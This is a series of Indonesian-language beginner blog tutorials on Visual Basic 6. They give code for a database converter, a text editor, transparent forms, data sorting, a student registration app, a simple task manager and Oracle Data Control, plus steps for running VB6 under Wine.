SQL = SQL & ")"
'MsgBox SQL, vbCritical, devName
Set newRec = newCon.Execute(SQL)

'---------------End of SQL statement for Creating Tables-----------

'------------------------------------------------------------------

'-------------Generating SQL statement for Inserting Values-------------------------------

If Option2.Value = True Then
Do Until myRec.EOF
xSQL = ""
xSQL = "Insert Into " & myCon.TableDefs(j - 1).Name & " Values ("

For e = 1 To myRec.Fields.Count
xSQL = xSQL & "'" & RTrim(myRec.Fields(e - 1).Value) & "'"

If e < myRec.Fields.Count Then
xSQL = xSQL & Comma
Else
xSQL = xSQL & ""
End If
Next e
xSQL = xSQL & ")"
'MsgBox xSQL

Set newRec = newCon.Execute(xSQL)
myRec.MoveNext

Loop
'-------------End Of SQL statement for Inserting Values-------------------------------
End If
Next

'--------Closing the Database & Records--------------------------
myRec.Close
myCon.Close
'----------------------------------------------------------------

Form2.MousePointer = 11
Form2.Show 1

Me.MousePointer = 0

MsgBox "Database Converted Successfully", vbInformation, devName

End Sub

Private Sub Command2_Click()
'-------EXIT-----
End
End Sub

Private Sub Command3_Click()
Call CreateMsg
End Sub

Private Sub Dir1_Change()
File1.Path = Dir1.Path
End Sub

Private Sub Drive1_Change()
Dir1.Path = Drive1.Drive
End Sub

Public Function Datatype(ByVal dataNum As Integer) As String

numData = dataNum

Select Case numData
Case 7:
founData = "int"

Case 10:
founData = "Char(10)"

Case Else
founData = "VarChar"
End Select

Datatype = founData

End Function

Private Sub Drive2_Change()
Dir2.Path = Drive2.Drive
End Sub

Public Sub CreateMsg()

Dim objOutlook As New Outlook.Application
Dim objOutlookmsg As Outlook.MailItem

Set objOutlookmsg = objOutlook.CreateItem(olMailItem)
Form1.MousePointer = 11
With objOutlookmsg
.To = myMail
.Subject = "Mas tomi' Dbf-2-Mdb Utility"
.Display 1
End With
Form1.MousePointer = 0
End Sub

'form 2
Private Sub Form_Load()
Timer1.Enabled = True
End Sub

Private Sub Timer1_Timer()

If PBar.Value < 35 Then
Label5.Caption = "Wait....." & vbCrLf & "Reading Foxpro Database"
PBar.Value = PBar.Value + 1
End If

If PBar.Value = 35 Then
Label5.Caption = "Wait....." & vbCrLf & "Creating Access Database"
PBar.Value = PBar.Value + 5
End If

If PBar.Value >= 40 And PBar < 60 Then
PBar.Value = PBar.Value + 2
End If

If PBar.Value >= 60 And PBar.Value < 100 Then
If Form1.Option1.Value = True Then
Label5.Caption = "Wait....." & vbCrLf & "Converting And Transfering Tables"
Else
Label5.Caption = "Wait....." & vbCrLf & "Transfering Tables And Records"
End If
PBar.Value = PBar.Value + 0.5

End If

If PBar.Value = 100 Then Unload Me

End Sub

Segitu ajah script kodenya, mudah kan?? kalo yang pengen langsung jadi silakan download disini

Membuat program text editor menggunakan VB

2008-12-27T12:17:00.004+07:00

Mungkin dari kalian ada yang ingin membuat program text editor sendiri, yah smacam program notepad milik windows gtu deeh...Nah kali ini penulis mencoba membuat program text editor sederhana.
Oke berikut tampilan dari program text editornya
tambahkan common dialog control pada formnya
Dan berikut script kodenya

Dim saved As Boolean

Private Sub bkcolor_Click()
On Error Resume Next
cd.ShowColor
Text1.BackColor = cd.Color
End Sub

Private Sub close_Click()
Dim retval As VbMsgBoxResult
If saved = False Then
retval = MsgBox("Do you want to save your file?", vbQuestion Or vbYesNoCancel, "Save file?")
If retval = vbYes Then save_Click
If retval = vbCancel Then Exit Sub
End If
Unload Me
End Sub

Private Sub copy_Click()
Clipboard.Clear
Clipboard.SetText Text1.Text
End Sub

Private Sub cut_Click()
Clipboard.Clear
Clipboard.SetText Text1.Text
Text1.Text = ""
End Sub

Private Sub font_Click()
On Error Resume Next
With cd
.Flags = cdlCFBoth Or cdlCFEffects
.DialogTitle = "Choose a font"
.ShowFont
End With

With Text1
.SelFontName = cd.FontName
.SelFontSize = cd.FontSize
.SelBold = cd.FontBold
.SelItalic = cd.FontItalic
.SelColor = cd.Color
.SelUnderline = cd.FontUnderline
.SelStrikeThru = cd.FontStrikethru
End With

End Sub

Private Sub Form_Load()
Dim argz As String
argz = Command
If argz <> "" Then
openfile (argz)
End If

saved = True
End Sub

Private Sub Form_Resize()

If Me.ScaleWidth > 250 And Me.ScaleHeight > 300 Then
Text1.Width = Me.ScaleWidth - 250
Text1.Height = Me.ScaleHeight - 300
End If
End Sub

Private Sub new_Click()
Dim retval As VbMsgBoxResult
If saved = False Then
retval = MsgBox("Do you want to save your file?", vbQuestion Or vbYesNoCancel, "Save file?")
If retval = vbYes Then save_Click
If retval = vbCancel Then Exit Sub
End If
Text1.Text = ""
End Sub

Private Sub open_Click()
cd.ShowOpen
Text1.LoadFile cd.FileName

End Sub

Private Sub paste_Click()
If (Clipboard.GetFormat(rtfCFRTF) = True Or Clipboard.GetFormat(rtfCFText) = True) Then
Text1.Text = Clipboard.GetText
Else
MsgBox "Clipboard contains unknown data type!", vbCritical, "Error"
End If
End Sub

Private Sub save_Click()
On Error GoTo canc
cd.ShowSave
Text1.SaveFile cd.FileName
saved = True
GoTo end1
canc:
saved = False
end1:
End Sub

Private Sub Text1_KeyPress(KeyAscii As Integer)
saved = False
End Sub

Private Sub Text1_MouseUp(Button As Integer, Shift As Integer, x As Single, y As Single)
If Button = vbRightButton Then
PopupMenu edit
End If
End Sub

Private Sub txtcolor_Click()
On Error Resume Next
cd.ShowColor
Text1.SelColor = cd.Color
End Sub

Private Function openfile(ByVal fn As String)
Text1.FileName = fn
End Function

Yups sgitua aja scriptnya, semoga pembahasan ini bermanfaat dan bisa menjadi bahan referensi bagi vbthok mania. Bagi yang tidak ingin pusing tetep silakan download scritpnya disini

Membuat form menjadi tembus pandang

2008-12-27T07:24:00.006+07:00

Jika kalian ingin membuat form menjadi tembus pandang mungkin artikel berikut bisa sebagai referensi, dengan memanfaatkan fungsi API dari windows penulis akan mencoba membuat tampilan form menjadi terlihat transparan.
Berikut preview dari form yang sudah dijalankan

Nah ini untuk scriptnya codenya :
'script code untuk form-nya
Private Sub Form_Load()
Dim bool As Boolean
GetWindowsVersion bool
If Not bool Then
MsgBox "Diperlukan Sistem Operasi Windows 2000 atau Lebih" & vbCrLf & "Program dibatalkan", , "Perhatian"
End
End If
SetLayeredWindow Me.hWnd, True
SetLayeredWindowAttributes Me.hWnd, 0, (255 * 70) / 100, LWA_ALPHA
End Sub

'script code untuk module-nya
Declare Function GetVersionEx Lib "kernel32.dll" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As Long
Declare Function GetWindowLong Lib "user32.dll" Alias "GetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long) As Long
Declare Function SetWindowLong Lib "user32.dll" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Declare Function SetLayeredWindowAttributes Lib "user32.dll" (ByVal hWnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long
Declare Function UpdateLayeredWindow Lib "user32.dll" (ByVal hWnd As Long, ByVal hdcDst As Long, pptDst As Any, psize As Any, ByVal hdcSrc As Long, pptSrc As Any, crKey As Long, ByVal pblend As Long, ByVal dwFlags As Long) As Long

Public Type POINTAPI
x As Long
y As Long
End Type

Public Type SIZE
cx As Long
cy As Long
End Type

Public Type BLENDFUNCTION
BlendOp As Byte
BlendFlags As Byte
SourceConstantAlpha As Byte
AlphaFormat As Byte
End Type

Public Const GWL_STYLE = (-16)
Public Const GWL_EXSTYLE = (-20)
Public Const WS_EX_LAYERED = &H80000
Public Const ULW_COLORKEY = &H1
Public Const ULW_ALPHA = &H2
Public Const ULW_OPAQUE = &H4
Public Const AC_SRC_OVER = &H0
Public Const AC_SRC_ALPHA = &H1
Public Const AC_SRC_NO_PREMULT_ALPHA = &H1
Public Const AC_SRC_NO_ALPHA = &H2
Public Const AC_DST_NO_PREMULT_ALPHA = &H10
Public Const AC_DST_NO_ALPHA = &H20
Public Const LWA_COLORKEY = &H1
Public Const LWA_ALPHA = &H2

Public Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
End Type

Public Const VER_PLATFORM_WIN32_WINDOWS = 1
Public Const VER_PLATFORM_WIN32_NT = 2

Public Function IsLayeredWindow(ByVal hWnd As Long) As Boolean
Dim WinInfo As Long

WinInfo = GetWindowLong(hWnd, GWL_EXSTYLE)
If (WinInfo And WS_EX_LAYERED) = WS_EX_LAYERED Then
IsLayeredWindow = True
Else
IsLayeredWindow = False
End If
End Function

Public Sub SetLayeredWindow(ByVal hWnd As Long, _
ByVal bIsLayered As Boolean)
Dim WinInfo As Long

WinInfo = GetWindowLong(hWnd, GWL_EXSTYLE)
If bIsLayered = True Then
WinInfo = WinInfo Or WS_EX_LAYERED
Else
WinInfo = WinInfo And Not WS_EX_LAYERED
End If
SetWindowLong hWnd, GWL_EXSTYLE, WinInfo
End Sub

' ambil deskripsi sistem operasi
Public Function GetWindowsVersion(ByRef IsWin2000 As Boolean) As String
Dim TheOS As OSVERSIONINFO
Dim strCSDVersion As String

TheOS.dwOSVersionInfoSize = Len(TheOS)
GetVersionEx TheOS
Select Case TheOS.dwPlatformId
Case VER_PLATFORM_WIN32_WINDOWS
If TheOS.dwMinorVersion >= 10 Then
GetWindowsVersion = "Windows 98 version: "
Else
GetWindowsVersion = "Windows 95 version: "
End If
Case VER_PLATFORM_WIN32_NT
GetWindowsVersion = "Windows NT version: "
End Select

' uraikan informasi tambahan dari string dengan null char
If InStr(TheOS.szCSDVersion, Chr(0)) <> 0 Then
strCSDVersion = ": " & Left(TheOS.szCSDVersion, InStr(TheOS.szCSDVersion, Chr(0)) - 1)
Else
strCSDVersion = ""
End If
GetWindowsVersion = GetWindowsVersion & TheOS.dwMajorVersion & "." & _
TheOS.dwMinorVersion & " (Build " & TheOS.dwBuildNumber & strCSDVersion & ")"

' set dalam mode parameter ByRef
If TheOS.dwMajorVersion = 5 Then
IsWin2000 = True
Else
IsWin2000 = False
End If
End Function

Oke deeh silakan kalian mengembangkan tampilan form sesuai dengan ide kalian masing2, maaf kalo penulis terlalu simple memberikan contoh2 pembahasanya karena penulis juga masih amatiran...so kita sharing bareng disini...Oke? yang pasti tetap semangat!!!
oiya yang mo download source code disini

Menghitung selisih hari menggunakan DTPICKER

2008-12-24T09:59:00.003+07:00

Kemaren ada yang bertanya kepada penulis tentang bagaimana cara melihat selisih hari jika menggunakan komponen DTpicker, untuk itu penulis akan mencoba membahasnya biar vbthok mania yg pemula juga tahu, untuk yang sudah expert kyknya gak perlu deh..hehehe
Berikut ini tampilan formnya

Sebetulnya sangat mudah menghitung hari berdasarkan DTPicker ataupun menggunakan textbox so jangan dibikin pusing ya..hehehe
ini untuk script codenya..

Private Sub DTPicker2_CloseUp()
Text1.Text = DTPicker2.Value - DTPicker1.Value
End Sub

weedewwww cuma segitu aja script codenya?? yaiyalah kan gampang bgt, hehehe...
So silakan berekspresi dengan VB dan tetep SEMANGAT!!!

Teknik mengurutkan data

2008-12-23T10:50:00.004+07:00

Dalam pembuatan aplikasi sebuah program biasanya memiki teknik pengurutan data yang berbeda beda, untuk itu penulis mencoba mengangkat topik ini sebagai bahan referensi bagi vbthok mania khususnya programmer pemula, untuk yang sudah advance kayaknya ini topik terlalu mudah. Jadi sowry yaa…hehehe…

Berikut ini komponen yang harus diaktifkan

Microsoft DataGrid Control 6.0 (OLEDB)

Microsoft ActiveX Data Objects 2.1 Library

Oiya jangan lupa buat database dari microsoft acces yang terdiri field nama dan nilai ipk.

Kemudian buatlah form seperti tampilan yang dibuat penulis berikut

Kemudian tuliskan scriptnya berikut

Option Explicit

Dim cn As New ADODB.Connection

Dim rs As New ADODB.Recordset

Private Sub Casc_Click()

'membuat koneksi baru pada databese ipk

Dim cn2 As New ADODB.Connection

Dim rs As New ADODB.Recordset

cn2.ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & App.Path & "\ipk.mdb;Persist Security Info=False"

cn2.Open

rs.CursorLocation = adUseClient

'mengurutkan data secara Ascending, pertama seleksi dimulai dari field ipk lalu kemudian field nama

rs.Open "select * from nilai order by ipk asc,nama", cn2, adOpenDynamic, adLockOptimistic

'mengkoneksikan record ke DataGrid

Set DataGrid1.DataSource = rs

End Sub

Private Sub CDesc_Click()

'membuat koneksi baru pada databese ipk

Dim cn3 As New ADODB.Connection

Dim rs As New ADODB.Recordset

cn3.ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & App.Path & "\ipk.mdb;Persist Security Info=False"

cn3.Open

rs.CursorLocation = adUseClient

'mengurutkan data secara Descending, pertama seleksi dimulai dari field ipk lalu kemudian field nama

rs.Open "select * from nilai order by ipk desc,nama", cn3, adOpenDynamic, adLockOptimistic

'mengkoneksikan record ke DataGrid

Set DataGrid1.DataSource = rs

End Sub

Private Sub Form_Load()

'mengkoneksikan dan membuka database ipk

cn.ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & App.Path & "\ipk.mdb;Persist Security Info=False"

cn.Open

rs.CursorLocation = adUseClient

rs.Open "nilai", cn, adOpenDynamic, adLockOptimistic

'mengkoneksikan record ke DataGrid

Set DataGrid1.DataSource = rs

End Sub

Bagi yang tidak ingin ribet silakan download source codenya disini

Teknik Perulangan atau Looping pada Visual Basic

2008-12-23T10:42:00.003+07:00

Kali ini penulis coba angkat topik teori perulangan, kemaren sempet ada yang menanyakan hal ini kepada penulis akhirnya penulis ingin membahasnya.

Loop adalah proses perulangan yang mengerjakan satu atau lebih statement. Loop diperlukan untuk mengerjakan suatu proses operasi secara tahap demi tahap dengan nilai variabel yang menaik atau menurun.

Bila digambarkan aliran loop seperti gambar berikut

Function Do…Loop

Fungsi ini digunakan untuk mengulang blok statement bila kondisi benar atau sampai kondisi menjadi benar. Bila tidak ada perintah keluar fungsi loop akan terus berjalan.

Contoh sintaksnya sebagai berikut

Do [while|until] kondisi

Statement

Exit do

Statement

Loop

Nah sebagai contoh dalam pemrogramannya seperti berikut :

Coba buat 1 project dengan 1 form kemudian isikan script berikut

Private sub form_load()

Dim stptrs, bilrndm, helpfile, context

Do until stptrs = vbno

Bilrndm = int(3 * rnd + 1)

Stptrs = msgbox (“berhenti/lanjut?”, vbyesno, “bilangan random: “&bilrndm, helpfile, context)

Loop

End sub

Nah berikut hasil dari tampilan tersebut

Oke Silakan kalian kembangkan funtion loop ini secara maksimal dengan cara yang kalian inginkan…dan tetap semangat buat belajar

Membuat aplikasi pendaftaran siswa baru

2008-12-18T19:53:00.003+07:00

Kali ini penulis mencoba membuat program pendaftaran siswa baru untuk sekolah karena ada salah satu vbthok mania yang mungkin ingin membuat program tersebut tapi masih bingung. Program ini berdasarkan pengamatan penulis jadi mungkin masih ada yang kurang, untuk itu vbthok mania bisa kembangkan sendiri sesuai ide dari vbthok mania.
ada 7 form yang dibuat dari program ini yaitu :
1. form menu
2. form sekolah
3. form pendaftaran siswa baru
4. form siswa baru
5. form laporan data calon siswa baru
6. form laporan data siswa baru yang diterima
7. form laporan daftar siswa baru
berikut tampilan untuk programnya..

Dan berikut untuk script kodenya

'untuk form menu
Private Sub Mnbaru_Click()
Siswa.Show
End Sub

Private Sub mncadangan_Click()
lcadangan.Show
End Sub

Private Sub mncalon_Click()
Calon.Show
End Sub

Private Sub mncbaru_Click()
lcalon.Show
End Sub

Private Sub mnkel_Click()
Unload Me
End Sub

Private Sub mnsek_Click()
Sekolah.Show
End Sub

Private Sub mnsiswa_Click()
datas.Show
End Sub

Private Sub mnterima_Click()
lditerima.Show
End Sub

'untuk form sekolah
Public dbrayon As Database
Public rsrayon As Recordset
Private Sub hapus_Click()
rsrayon.Delete
Call bersih
End Sub
Private Sub keluar_Click()
Unload Me
End Sub

Private Sub koreksi_Click()
rsrayon.Edit
rsrayon(1) = rayo.Text
rsrayon(0) = nama.Text
rsrayon.Update
Call bersih
End Sub

Private Sub simpan_Click()
rsrayon.AddNew
rsrayon(1) = rayo.Text
rsrayon(0) = nama.Text
rsrayon.Update
Call bersih
End Sub
Private Sub bersih()
nama.Text = ""
rayo.Text = ""
nama.SetFocus
End Sub
Private Sub Form_Load()
Set dbrayon = OpenDatabase(App.Path & "\Siswa baru.mdb")
Set rsrayon = dbrayon.OpenRecordset("Rayon")
rsrayon.Index = "cari"
nama = ""
End Sub
Private Sub nama_Change()

rsrayon.Seek "=", nama.Text
If rsrayon.NoMatch Then
simpan.Enabled = True
Hapus.Enabled = False
Koreksi.Enabled = False
ElseIf Not rsrayon.NoMatch Then
rayo.Text = rsrayon(1)
simpan.Enabled = False
Hapus.Enabled = True
Koreksi.Enabled = True
End If
End Sub

'form daftar siswa baru
Public dbcalon As Database
Public rscalon As Recordset
Public dbsiswa As Database
Public rssiswa As Recordset

Private Sub daftar_Click()
rscalon.Seek "=", daftar.Text
If Not rscalon.NoMatch Then
nis.Text = ""
nama.Text = rscalon(1)
alamat.Text = rscalon(2)
Kelamin.Text = rscalon(3)
tempat.Text = rscalon(4)
tanggal.Value = rscalon(5)
daftar.Enabled = False
nama.Enabled = False
alamat.Enabled = False
Kelamin.Enabled = False
tempat.Enabled = False
tanggal.Enabled = False

Else
nis.Text = ""
nama.Text = ""
alamat.Text = ""
Kelamin.Text = ""
tempat.Text = ""
'tanggal.Value = ""
End If
End Sub

Private Sub koreksi_Click()
rssiswa.Edit
rssiswa(0) = nis.Text
rssiswa(1) = nama.Text
rssiswa(2) = alamat.Text
rssiswa(3) = Kelamin.Text
rssiswa(4) = tempat.Text
rssiswa(5) = tanggal.Value
rssiswa(6) = wali.Text
rssiswa.Update
Call bersih
End Sub
Private Sub hapus_Click()
rssiswa.Delete
Call bersih
End Sub
Private Sub keluar_Click()
Unload Me
End Sub

Private Sub nis_Change()
rssiswa.Seek "=", nis.Text
If rssiswa.NoMatch Then
wali = ""
simpan.Enabled = True
Hapus.Enabled = False
Koreksi.Enabled = False
ElseIf Not rssiswa.NoMatch Then
nama.Text = rssiswa(1)
alamat.Text = rssiswa(2)
Kelamin.Text = rssiswa(3)
tempat.Text = rssiswa(4)
tanggal.Value = rssiswa(5)
wali.Text = rssiswa(6)
nama.Enabled = True
Kelamin.Enabled = True
alamat.Enabled = True
tempat.Enabled = True
tanggal.Enabled = True
simpan.Enabled = False
Hapus.Enabled = True
Koreksi.Enabled = True
End If
End Sub

Private Sub simpan_Click()
rssiswa.AddNew
rssiswa(0) = nis.Text
rssiswa(1) = nama.Text
rssiswa(2) = alamat.Text
rssiswa(3) = Kelamin.Text
rssiswa(4) = tempat.Text
rssiswa(5) = tanggal.Value
rssiswa(6) = wali.Text
rssiswa.Update
Call bersih
End Sub
Private Sub bersih()
daftar.Text = ""
nis.Text = ""
nama.Text = ""
alamat.Text = ""
Kelamin.Text = ""
tempat.Text = ""
wali.Text = ""
daftar.Enabled = True
daftar.SetFocus
End Sub
Private Sub Form_Load()
Set dbcalon = OpenDatabase(App.Path & "\Siswa baru.mdb")
Set rscalon = dbcalon.OpenRecordset("calon")
rscalon.Index = "cari1"
Set dbsiswa = OpenDatabase(App.Path & "\Siswa baru.mdb")
Set rssiswa = dbsiswa.OpenRecordset("siswa")
rssiswa.Index = "cari"
rscalon.MoveFirst
While Not rscalon.EOF
daftar.AddItem (rscalon(0))
rscalon.MoveNext
Wend
End Sub

'form laporan calon siswa baru
Public dbcalon As Database
Public rscalon As Recordset
Public dblaporan As Database
Public rslaporan As Recordset

Private Sub HapusTabel()
If rslaporan.RecordCount <> 0 Then
Do While Not rslaporan.EOF
rslaporan.Delete
rslaporan.MoveNext
Loop
End If
End Sub

Private Sub cmdBatal_Click()
Unload Me
End Sub

Private Sub cmdProses_Click()
Set dblaporan = OpenDatabase(App.Path & "\laporan.mdb")
Set rslaporan = dblaporan.OpenRecordset("lap1")
HapusTabel
rscalon.MoveFirst
Do While Not rscalon.EOF
rslaporan.AddNew
rslaporan(0) = Tahun
rslaporan(1) = rscalon(0)
rslaporan(2) = rscalon(1)
rslaporan(3) = rscalon(5)
rslaporan(4) = rscalon(3)
rslaporan(5) = rscalon(6)
rslaporan(6) = rscalon(7)
rslaporan.Update
rscalon.MoveNext
Loop

dblaporan.Close
lap.ReportFileName = App.Path & "\lap1.rpt"
lap.DataFiles(0) = App.Path & "\laporan.mdb"
lap.WindowState = crptMaximized
lap.WindowTitle = "Laporan Daftar Calon Siswa"
lap.Action = 28
End Sub

Private Sub Command2_Click()
Unload Me
End Sub

Private Sub Form_Load()
Set dbcalon = OpenDatabase(App.Path & "\siswa baru.mdb")
Set rscalon = dbcalon.OpenRecordset("calon")
rscalon.Index = "cari1"

End Sub

'form calon siswa baru yang diterima
Public dbcalon As Database
Public rscalon As Recordset
Public dblaporan As Database
Public rslaporan As Recordset
Public dbrayon As Database
Public rsrayon As Recordset

Private Sub HapusTabel()
If rslaporan.RecordCount <> 0 Then
Do While Not rslaporan.EOF
rslaporan.Delete
rslaporan.MoveNext
Loop
End If
End Sub
Private Sub cmdBatal_Click()
Unload Me
End Sub

Private Sub cmdProses_Click()
Set dblaporan = OpenDatabase(App.Path & "\laporan.mdb")
Set rslaporan = dblaporan.OpenRecordset("lap2")
HapusTabel
rscalon.MoveFirst
Do While Not rscalon.EOF
If (rscalon(8) = "C" And rscalon(7) >= 33) Or (rscalon(8) <> "C" And rscalon(7) >= 43) Then
rslaporan.AddNew
rslaporan(0) = Tahun
rslaporan(1) = rscalon(0)
rslaporan(2) = rscalon(1)
rslaporan(3) = rscalon(3)
rslaporan(4) = rscalon(7)
rslaporan.Update
End If
rscalon.MoveNext
Loop

dblaporan.Close
lap.ReportFileName = App.Path & "\lap2.rpt"
lap.DataFiles(0) = App.Path & "\laporan.mdb"
lap.WindowState = crptMaximized
lap.WindowTitle = "Laporan Daftar Calon Siswa Yang Diterima"
lap.Action = 28
End Sub

Private Sub Command2_Click()
Unload Me
End Sub

Private Sub Form_Load()
Set dbcalon = OpenDatabase(App.Path & "\siswa baru.mdb")
Set rscalon = dbcalon.OpenRecordset("calon")
Set dbrayon = OpenDatabase(App.Path & "\siswa baru.mdb")
Set rsrayon = dbcalon.OpenRecordset("rayon")
rscalon.Index = "cari1"
End Sub

'form laporan siswa baru
Public dbsiswa As Database
Public rssiswa As Recordset
Public dblaporan As Database
Public rslaporan As Recordset

Private Sub HapusTabel()
If rslaporan.RecordCount <> 0 Then
Do While Not rslaporan.EOF
rslaporan.Delete
rslaporan.MoveNext
Loop
End If
End Sub

Private Sub cmdBatal_Click()
Unload Me
End Sub

Private Sub cmdProses_Click()
Set dblaporan = OpenDatabase(App.Path & "\laporan.mdb")
Set rslaporan = dblaporan.OpenRecordset("lap3")
HapusTabel
rssiswa.MoveFirst
Do While Not rssiswa.EOF
rslaporan.AddNew
rslaporan(0) = Tahun
rslaporan(1) = rssiswa(0)
rslaporan(2) = rssiswa(1)
rslaporan(3) = rssiswa(4)
rslaporan(4) = rssiswa(5)
rslaporan(5) = rssiswa(3)
rslaporan(6) = rssiswa(2)
rslaporan(7) = rssiswa(6)
rslaporan.Update
rssiswa.MoveNext
Loop

dblaporan.Close
lap.ReportFileName = App.Path & "\lap4.rpt"
lap.DataFiles(0) = App.Path & "\laporan.mdb"
lap.WindowState = crptMaximized
lap.WindowTitle = "Laporan Daftar siswa Siswa"
lap.Action = 28
End Sub

Private Sub Command2_Click()
Unload Me
End Sub

Private Sub Form_Load()
Set dbsiswa = OpenDatabase(App.Path & "\siswa baru.mdb")
Set rssiswa = dbsiswa.OpenRecordset("siswa")
'rssiswa.Index = "cari1"
End Sub

Untuk format laporan penulis menggunakan cristal report jadi silakan vbthok mania menginstall dulu program cristal report.Mohon maaf jika disini saya tidak menyediakan program cristal reportnya karena takut dituntut karena menyebarkan tanpa persetujuan..hehehe...
Untuk desain silakan dikembangakan sendiri karena disini penulis hanya membantu semoga vbthok mania jadi lebih kreatif. berikut source code lengkapnya yang bisa anda download disini
Terimakasih

Menjalankan Visual Basic di LINUX

2008-12-15T20:50:00.004+07:00

Bagaimana untuk menjalankan program visual basic di linux?? untuk memulainya kalian harus menginstall Wine di sypnatic setelah terinstall baru kemudian masuk ke setting wine dengan masuk ke wine configuration kemudian ikuti langkah berikut

1. Salin riched20.dll, riched32.dll, urlmon.dll, oleaut32.dll, dan hhctrl.ocx dari direktori system32 di windows xp kemudian paste di direktori wine system32 yang ada di linux tersebut.

2. Dalam dialog konfigurasi wine, di bawah tab libraries, setting files yang ada di menu native dengan meng-Add file berikut :

hhctrl.ocx

oleaut32

riched20

riched32

urlmon

Dan ini untuk menetapkan builtin:

ole32

rpcrt4

3. Setting Windows emulation menjadi Windows ME

4. Run the installer normally, ignoring the OLE and Java error messages. Jalankan installer seperti biasa, abaikan OLE Java dan pesan kesalahan. Jika diinginkan, MSDN libraries juga dapat diinstal. Setelah instalasi, setting windows emulation kembali dari windows ME ke Windows XP.

5. Buka terminal dan browse ke direktori wine system32 ) kemudian Jalankan perintah berikut dalam consol linux : wine regsvr32 comcat.dll (ini akan memperbaiki VB6 OLE subsistem)

6. Setelah komponen sudah dimasukkan dan MSDN libraries telah terinstal. Proses Instalasi bisa dilaksanakan dengan masuk ke console kemudian ketik wine setup.exe dimana program visual basic berada.

Selamat mencoba semoga berhasil...

Membuat Task manager sendiri

2008-12-12T18:44:00.003+07:00

Task Manager merupakan tool kecil pemantau kinerja Windows. Berbagai aplikasi yang berjalan bisa dilihat dari tool ini. Apabila ada program yang error kita bisa menghentikan program tersebut secara manual lewat task manager dengan menekan tombol end task.Tapi apa jadinya jika pada saat kita coba menjalankan dengan task manager muncul pesan "Task manager has been disable by administrator" pasti repot kan??
Nah kali ini penulis mencoba membuat task manager sendiri,hehehe..bisa untuk mengakali ketika diwarnet lohh...upss...jadi ngajarin yang gak bener neh..sowry2 kita berbuat yang halal aja ya?
Berikut ini bentuk form nya

berikut script kodenya :

Option Explicit

Dim hWndTGT As Long

Private Sub cmdEndTsk_Click()
If hWndTGT = 0 Then Exit Sub

'Kirim pesan close pada handle window yang dipilih
SendMessage hWndTGT, &H112, &HF060, 0
End Sub

Private Sub cmdRefresh_Click()
Dim hWndx As Long
Dim lpStr As String * 255
Dim cnt As Integer
Dim lpClassName As String * 255

'bersihkan isi List1
List1.Clear

'cari nilai Handle Window Desktop
hWndx = FindWindowEx(0, 0, vbNullString, vbNullString)
Do
'dapatkan text dari nilai handle window
GetWindowText hWndx&, lpStr, 255

'dapatkan nama Class dari nilai handle window
GetClassName hWndx&, lpClassName$, 255

If chk1.Value And chk2.Value Then
GoTo IsiData
ElseIf chk1.Value Then
If IsWindowVisible(hWndx) Then
GoTo IsiData
End If
ElseIf chk2.Value Then
If Not IsWindowVisible(hWndx) Then
GoTo IsiData
End If
End If

Ulangi:
'cari nilai handle selanjutnya
hWndx = FindWindowEx(0, hWndx, vbNullString, vbNullString)
DoEvents
Loop While hWndx > 0 'lakukan perulangan hingga tidak ditemukan lagi
'window
Exit Sub
IsiData:
'catat jumlah data yang telah ada pada listBox
cnt = List1.ListCount
'isi ke list berupa nama window dan nama class nya
List1.AddItem Left$(lpStr, lstrlen(lpStr)) + " (" + _
Left$(lpClassName, lstrlen(lpClassName)) + ")"
'isikan nilai hWndx pada itemData
List1.ItemData(cnt) = hWndx
GoTo Ulangi
End Sub

Private Sub cmdToggle_Click()
'Bila window tampak maka
If IsWindowVisible(hWndTGT) Then
'Sembunyikan
ShowWindow hWndTGT, SW_HIDE
Else 'bila tersembunyi maka
'Tampilkan
ShowWindow hWndTGT, SW_SHOW
End If
End Sub

Private Sub Form_Load()

End Sub

Private Sub List1_Click()
'isikan hWndTGT dari nilai handle Window yang dipilih pada ListBox
hWndTGT = List1.ItemData(List1.ListIndex)
End Sub

Untuk modulenya penulis lampirkan bersama file yang bisa didownload disini

Oracle Data Control with Visual Basic

2008-12-11T21:15:00.002+07:00

The Oracle Data Control, used with Visual Basic 6, makes creating a dynaset easier, because it does not require you to create the underlying objects. You must set the Connect, DatabaseName, and RecordSource properties. The Oracle Data Control when refreshed, automatically creates a client (if needed), session, database, and dynaset. This section shows two ways to set the properties of the Oracle Data Control to create a dynaset: · by using the Visual Basic Properties window · by programming the properties Setting Oracle Data Control Properties with the Properties Window

Start Visual Basic and create a new project.

Use the Components option of the Project menu to add "Oracle Data Control" to the project.

The Oracle Data Control will be added to your Visual Basic tool palette and will look like this:

3. To add the Oracle Data Control to a project, simply drag and drop the control onto a form. Resize and position the control. 4. Change the name of the control to ORADataControl. Set up the Connect, DatabaseName, and RecordSource properties as follows to access the Oracle database.

5. When the Oracle Data Control is set up, you can drag and drop a Visual Basic control onto the same form and access the data in the control. Simply set the Data properties to access the data field and source that you want. This figure shows a TextBox control which sets up display of the employee numbers.

6. When the project is run, the data identified by the RecordSource property is displayed using the Oracle Data Control.

You can also use the Microsoft FlexGrid Control to display all the data in the table. You need to add the grid control with the Components option of the Project menu. Setting Oracle Data Control Properties Programmatically The following code fragment demonstrates how to programmatically set the properties of the Oracle Data Control required to create a dynaset. These are the same properties that you can set with the Properties window of Visual Basic.

Create a new project and then use the Components option of the Project menu to add "Oracle Data Control" to the project.

Drag and drop an Oracle Data Control on a form. Change the name of the control to 'ORADataControl'.

After you have inserted an Oracle Data Control onto a form, add the following code to the Load procedure associated with the form.

... 'Set the username and password. ORADataControl.Connect = "scott/tiger" 'Set the database name. ORADataControl.DatabaseName = "ExampleDb" 'Set the record source. ORADataControl.RecordSource = "select * from emp" 'Refresh the data control.
ORADataControl.Refresh ...

You now have a valid client, session, database, and dynaset which can be referenced as follows. object reference client oradatacontrol.database.session.client session oracontrol.database.session database oradatacontrol.database dynaset oradatacontrol.recordset
4. You can access the data in the RecordSource using Visual Basic controls, such as a TextBox as shown in the previous example.

Program Expired atau Shareware

